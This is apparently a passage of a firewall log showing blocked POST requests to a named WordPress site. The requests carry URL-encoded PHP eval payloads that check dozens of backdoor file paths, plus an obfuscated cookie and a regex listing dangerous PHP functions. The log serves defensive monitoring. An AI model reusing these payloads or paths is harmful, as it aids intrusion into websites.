8%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/languages\/admin-network-zh_CN.l10n.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=66906fd3042181b0b32cfaf7a2d624f4; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD08vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:9048\naccept:*\/*\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\n\nCO=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/rss-functions.php%22%3D%3E%22bd%40%40263080755%40%401032%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-includes\/SimplePie\/src\/Cache\/config_add_news.php%22%3D%3E%22bd%40%40257250637%40%401220%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/editlib.php%22%3D%3E%22bd%40%40282571355%40%401091%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-14 05:03:18","123.30.233.12","POST","\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IZGTGP:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/rss-functions.php%22%3D%3E%22bd%40%40263080755%40%401032%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-includes\/SimplePie\/src\/Cache\/config_add_news.php%22%3D%3E%22bd%40%40257250637%40%401220%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/editlib.php%22%3D%3E%22bd%40%40282571355%40%401091%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\ncontent-length:9071\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\n\nIZGTGP=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/rss-functions.php%22%3D%3E%22bd%40%40263080755%40%401032%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-includes\/SimplePie\/src\/Cache\/config_add_news.php%22%3D%3E%22bd%40%40257250637%40%401220%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/editlib.php%22%3D%3E%22bd%40%40282571355%40%401091%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20